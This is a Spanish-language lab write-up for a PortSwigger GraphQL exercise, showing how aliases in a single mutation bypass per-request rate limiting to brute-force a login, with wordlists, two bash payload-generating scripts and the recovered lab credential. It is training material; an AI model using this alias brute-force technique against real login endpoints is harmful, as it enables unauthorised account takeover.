Entrada

GraphQL API Vulnerabilities Lab 4

GraphQL API Vulnerabilities Lab 4

Skills

  • Bypassing GraphQL brute force protections

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio utiliza un mecanismo de inicio de sesión impulsado por una API GraphQL. El endpoint de la API devuelve un error si recibe demasiadas solicitudes desde el mismo origen en un corto período de tiempo. Para resolver el laboratorio, debemos realizar un ataque de fuerza bruta contra el login para iniciar sesión como el usuario carlos. Utilizaremos un diccionario de contraseñas https://portswigger.net/web-security/authentication/auth-lab-passwords y un diccionario de usuarios https://portswigger.net/web-security/authentication/auth-lab-usernames. Podemos loguearnos usando las credenciales wiener:peter


Resolución

Al acceder a la web vemos esto

Si hacemos click sobre My account, nos podemos loguear con las credenciales wiener:peter

En Burpsuite con la extensión Logger ++ vemos que se ha tramitado esta petición a GraphQL

Si pulsamos sobre la pestaña GraphQL vemos que tenemos una mutation y la variables que se le proporcionan en la parte inferior

Modificamos la petición para mandar todos los datos directamente sin usar variables

También podríamos enviar la petición así, la diferencia entre esta petición y la anterior es que en esta hemos borrado el operationName

Si enviamos la petición varias veces seguidas nos bloquea y tenemos que esperar 1 minutos para poder seguir mandando peticiones. Por esto, no podemos hacer un ataque de fuerza bruta desde el Intruder

Por lo general, los objetos GraphQL no pueden contener varias propiedades con el mismo nombre. Los alias nos permiten eludir esta restricción nombrando explícitamente las propiedades que desea que la API devuelva. Si bien los alias están destinados a limitar la cantidad de peticiones a la API que necesitamos realizar, también se pueden usar para bruteforcear un endpoint de GraphQL. Los endpoints usualmente implementan medidas de seguridad contra los ataques de fuerza bruta, hay ocasiones en las que se bloquea al usuario en función de la cantidad de solicitudes HTTP que haga al servidor en lugar de la cantidad de operaciones realizadas contra el endpoint. Podemos usar de los alias para esta situación porque podemos enviar una sola petición HTTP que realice varias consultas y de esta forma evitar que nos bloqueen

Para automatizar esto vamos a crear un script en bash que nos lea el itere sobre un diccionario de contraseñas https://portswigger.net/web-security/authentication/auth-lab-passwords y un diccionario de usuarios https://portswigger.net/web-security/authentication/auth-lab-usernames y nos cree la estructura que deseamos. Lo primero que tenemos que hacer es copiarnos el contenido del diccionario de usuarios en un archivo llamado usernames.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
carlos
root
admin
test
guest
info
adm
mysql
user
administrator
oracle
ftp
pi
puppet
ansible
ec2-user
vagrant
azureuser
academico
acceso
access
accounting
accounts
acid
activestat
ad
adam
adkit
admin
administracion
administrador
administrator
administrators
admins
ads
adserver
adsl
ae
af
affiliate
affiliates
afiliados
ag
agenda
agent
ai
aix
ajax
ak
akamai
al
alabama
alaska
albuquerque
alerts
alpha
alterwind
am
amarillo
americas
an
anaheim
analyzer
announce
announcements
antivirus
ao
ap
apache
apollo
app
app01
app1
apple
application
applications
apps
appserver
aq
ar
archie
arcsight
argentina
arizona
arkansas
arlington
as
as400
asia
asterix
at
athena
atlanta
atlas
att
au
auction
austin
auth
auto
autodiscover

Hacemos lo mismo con el fichero de contraseñas

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
123456
password
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
123123
baseball
abc123
football
monkey
letmein
shadow
master
666666
qwertyuiop
123321
mustang
1234567890
michael
654321
superman
1qaz2wsx
7777777
121212
000000
qazwsx
123qwe
killer
trustno1
jordan
jennifer
zxcvbnm
asdfgh
hunter
buster
soccer
harley
batman
andrew
tigger
sunshine
iloveyou
2000
charlie
robert
thomas
hockey
ranger
daniel
starwars
klaster
112233
george
computer
michelle
jessica
pepper
1111
zxcvbn
555555
11111111
131313
freedom
777777
pass
maggie
159753
aaaaaa
ginger
princess
joshua
cheese
amanda
summer
love
ashley
nicole
chelsea
biteme
matthew
access
yankees
987654321
dallas
austin
thunder
taylor
matrix
mobilemail
mom
monitor
monitoring
montana
moon
moscow

Una vez hecho esto creamos este script que itera sobre todos los usuarios del archivo usernames.txt, crea una estructura para que funcione en GraphQL y nos almacena en un archivo todo el output

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/bash

usernames_file="usernames.txt"
passwords_file="passwords.txt"
output_file="output.txt"
counter=1

echo "mutation {" > "$output_file"

while IFS= read -r username; do
    while IFS= read -r password; do
        echo "    request_${counter}:login(input: {username:\"${username}\",password:\"${password}\"}) {" >> "$output_file"
        echo "        token" >> "$output_file"
        echo "        success" >> "$output_file"
        echo -e "    }\n" >> "$output_file"
        ((counter++))
    done < "$passwords_file"
done < "$usernames_file"

echo "}" >> "$output_file"

Si solo queremos generar payloads para un usuario específico podemos usar este otro script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/bin/bash

username="carlos"
passwords_file="passwords.txt"
output_file="output.txt"
counter=1

echo "mutation {" > "$output_file"

while IFS= read -r password; do
    echo "    request_${counter}:login(input: {username:\"${username}\",password:\"${password}\"}) {" >> "$output_file"
    echo "        token" >> "$output_file"
    echo "        success" >> "$output_file"
    echo -e "    }\n" >> "$output_file"
    ((counter++))
done < "$passwords_file"

echo "}" >> "$output_file"

Para copiar todo el contenido que se almacena en el archivo, como son muchas líneas es recomendable hacerlo con este comando

1
# xclip -sel clip -i output.txt

Una vez generado el payload, lo pegamos en la pestaña de GraphQL, en la respuesta filtramos por true y en la petición filtramos por el número de petición. Las credenciales que hemos obtenido son carlos:654321

Nos logueamos como el usuario carlos

Esta entrada está licenciada bajo CC BY 4.0 por el autor.